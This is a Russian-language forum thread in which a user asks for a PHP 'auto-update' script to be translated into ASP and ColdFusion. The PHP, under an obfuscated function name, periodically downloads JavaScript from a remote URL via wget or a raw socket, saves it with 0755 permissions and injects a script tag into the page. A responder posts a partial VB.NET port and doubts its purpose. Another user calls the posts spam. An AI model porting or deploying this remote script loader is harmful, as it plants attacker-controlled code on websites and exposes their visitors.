На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
  
    > Помогите перевести скрипт из PHP в ASP максимально правильно
      Здраствуйте, уважаемые форумчане, пожалуйста помогите максимально правильно перевести PHP скрипт автообновления через JS на asp, чтобы можно было вставить код в страницу asp. За ранее огромное спасибо!

      ExpandedWrap disabled
        <?php
         
        function update_kjxerhmihihihgih43igh43gi() {
         
        $path = "";
        $wwwpath = "";
        $file = "script.js";
        $seconds = 300;
        $url = "http:///js/3207bf7af61b633416a3f95a83879a42";
        $inject = 1;
         
        $mtime = 0;
         
        $where = ($path) ? $path."/".$file : $file;
        if(file_exists($where)) {
            $fd = stat($where);
            $mtime = $fd['mtime'];
        }
         
        $time=time();
         
        function uw($url, $file, $path) {
         
            $where = ($path) ? $path."/".$file : $file;
            exec("wget -q '$url' -O '$where.1'");
            rename("$where.1", $where);
            chmod($where, 0755);
        };
         
        function unchunk($data) {
            $fp = 0;
            $outData = "";
            while ($fp < strlen($data)) {
                $rawnum = substr($data, $fp, strpos(substr($data, $fp), "\r\n") + 2);
                $num = hexdec(trim($rawnum));
                $fp += strlen($rawnum);
                $chunk = substr($data, $fp, $num);
                $outData .= $chunk;
                $fp += strlen($chunk);
            }
            return $outData;
        }
         
        function ufs($url, $file, $path) {
         
            $xxx = "";
            $matches = parse_url($url);
         
            $host = $matches['host'];
            $pp = $matches['path'];
         
            $fp = fsockopen($host, 80, $errno, $errstr, 30);
            if ($fp) {
                $out = "GET $pp HTTP/1.1\r\n";
                $out .= "Host: $host\r\n";
                $out .= "Connection: Close\r\n\r\n";
                fwrite($fp, $out);
                while (!feof($fp)) {
                    $xxx .= fgets($fp, 128);
                }
                fclose($fp);
            }
            $xxx = substr($xxx, strpos($xxx, "\r\n\r\n") + 4);
            $save = ($path) ? $path."/".$file : $file;
            $fh = fopen("$save", "wb");
            fwrite($fh,unchunk($xxx));
            fclose($fh);
            chmod($save, 0755);
        };
         
         
        if($time-$mtime > $seconds) {
            $r = Array();
            $rv = 0;
            if(function_exists('exec') && exec('which wget', $r, $rv) && !$rv) {
            uw($url, $file, $path);
            }else{
            ufs($url, $file, $path);
            }
        }
         
        if($inject) {
            $file = ($wwwpath) ? $wwwpath."/".$file : $file;
            print "<script src=\"$file\"></script>";
        }
        }
         
        update_kjxerhmihihihgih43igh43gi();
         
        ?>


      Добавлено
      И если есть специалисты, так как говорят что asp, cfm похожи, а точнее работают друг с другом. То ещё и перевести код в cfm формат, чтобы просто вставить на страницу.

      p.s. Модераторы сильно не ругайтесь просто раздела cfm [cold fusion] не существует, запостился тут... Если что извиняюсь сильно оч. плиз не удаляйте оч срочно надо... :(

      Пользователям и всем кто смотрел, читал - спасибо за потраченное время.
        хм... начал переводить и столкнулся с тем, что некоторые строки кода лично меня вообще вводят в ступор... оО
        если,конечно,еще актуально, выкладываю то, что смог перевести (ибо автор топика слишком уж зацепил меня своим
        Цитата alcantara @
        Пользователям и всем кто смотрел, читал - спасибо за потраченное время.
        )

        Но все-же... не даёт спокойствия, допустим, вот это:
        Цитата alcantara @
        PHP скрипт автообновления через JS на asp

        и не строчки на JS... может не так выразился просто? =)
        ладно... сам же взялся...

        файл index.vbhtml (вид)
        ExpandedWrap disabled
          @Code
              ViewData("Title") = "Index"
              
              Dim path As String = "", wwwpath As String = "", file As String = "script.js", seconds As Integer = 300
              Dim url As String = "http:///js/3207bf7af61b633416a3f95a83879a42", inject As Integer = 1, mtime As Integer = 0
              
              Dim where = IIf(path.Length <> 0, path & "/" & file, file)
              If IO.File.Exists(where) Then
                  Dim fd = New IO.FileInfo(where).LastWriteTimeUtc
              End If
              Dim time = Date.UtcNow
              
              
              If time.ToShortTimeString - mtime > seconds Then
                  
              End If
          End Code
           
          <h2>Index</h2>


        и, собственно, класс нашей модели...
        ExpandedWrap disabled
          Imports System.Net
          Imports System.Net.Sockets
           
          Public Class UpdateModel
              Private Function getHost(ByVal str As String, Optional ByVal getPath As Boolean = False) As String
                  str = str.ToLower()
                  If Not getPath Then
                      Return str.Substring(0, InStr(8, str, "/"))
                  Else
                      str = str.Replace("http://", "")
                      If str.Contains("?") Then
                          Return str.Substring(InStr(8, str, "/") - 1, InStr(8, str, "?") - InStr(8, str, "/"))
                      Else
                          Return str.Substring(InStr(8, str, "/") - 1, str.Length - (InStr(8, str, "/") + 1))
                      End If
           
                  End If
              End Function
              Private Function hexdec(ByVal heximal As String) As Integer
                  Dim Simvol As String
                  Dim DesChislo As Integer
                  Dim x As Integer
                  hexdec = 0
                  For x = 1 To heximal.Length
                      Simvol = Microsoft.VisualBasic.Mid(heximal, x, 1)
                      If Simvol.ToUpper = "A" Then
                          DesChislo = 10
                      ElseIf Simvol.ToUpper = "B" Then
                          DesChislo = 11
                      ElseIf Simvol.ToUpper = "C" Then
                          DesChislo = 12
                      ElseIf Simvol.ToUpper = "D" Then
                          DesChislo = 13
                      ElseIf Simvol.ToUpper = "E" Then
                          DesChislo = 14
                      ElseIf Simvol.ToUpper = "F" Then
                          DesChislo = 15
                      Else
                          DesChislo = CInt(Simvol)
                      End If
                      hexdec = hexdec + DesChislo * 16 ^ (heximal.Length - x)
                  Next x
                  Return hexdec
              End Function
           
              Public Sub uw(ByVal url As String, ByVal file As String, ByVal path As String)
                  Dim where As String = IIf(path.Length > 0, path & "/" & file, file)
                  Dim download As New WebClient
                  download.DownloadFileAsync(New Uri(url), where)
                  IO.File.Move(where & "1", where)
              End Sub
              Public Function unchunk(ByVal data As String) As String
                  Dim fp As Integer = 0, outData As String = ""
                  While fp < data.Length
                      Dim rawnum As String = data.Substring(fp, InStr(1, data.Substring(fp), vbCrLf) + 2)
                      Dim num As Integer = hexdec(Trim(rawnum))
                      fp += rawnum.Length
                      Dim chunk As String = data.Substring(fp, num)
                      outData = outData & chunk
                      fp += chunk.Length
                  End While
                  Return outData
              End Function
              Public Function ufs(ByVal url As String, ByVal file As String, ByVal path As String) As String
                  Dim xxx As String
                  Dim nc As NameValueCollection = System.Web.HttpUtility.ParseQueryString(url)
                  Dim host As String = getHost(url), pp As String = getHost(url, True)
           
                  Dim sc As New System.Net.Sockets.TcpClient
                  sc.Connect(host, 80)
                  If sc.Available Then
                      Dim scStream As NetworkStream = sc.GetStream()
                      Dim out As String = "GET " & pp & " HTTP/1.1" & vbCrLf
                      out = out & "Host: " & host & vbCrLf
                      out = out & "Connection: Close" & vbCrLf & vbCrLf
           
                      scStream.Write(Encoding.UTF8.GetBytes(out), 0, out.Length)
                      Dim retBuff() As Byte
                      scStream.Read(retBuff, 0, scStream.Length)
                      xxx = Encoding.UTF8.GetString(retBuff)
                      sc.Close()
                  End If
           
                  xxx = xxx.Substring(xxx.StartsWith(vbCrLf & vbCrLf) + 4)
                  Dim save As String = IIf(path.Length > 0, path & "/" & file, file)
                  IO.File.WriteAllText(System.AppDomain.CurrentDomain.BaseDirectory() & save, unchunk(xxx))
              End Function
           
              if ()
          End Class


        мозг же мне вынес этот участок кода:
        ExpandedWrap disabled
              $r = Array();
              $rv = 0;
              if(function_exists('exec') && exec('which wget', $r, $rv) && !$rv) {
             uw($url, $file, $path);
              }else{
             ufs($url, $file, $path);
              }

        Уважаемый, alcantara, если ты еще тут и тебе все еще интересно вообще всё это, то поясни пожалуйста что тут вообще происходит, и может тогда, я тебе помогу до конца... но всё равно не похоже это ни на какое автообновление на JS
          он уже наспамил тут этим: Помогите максимально перевести скрипт php в html вроде ещё где-то было
            Скрытый текст

            Это ужасно.... :fool:
            0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
            0 пользователей:


            Рейтинг@Mail.ru
            [ Script execution time: 0,0331 ]   [ 16 queries used ]   [ Generated: 28.03.24, 22:40 GMT ]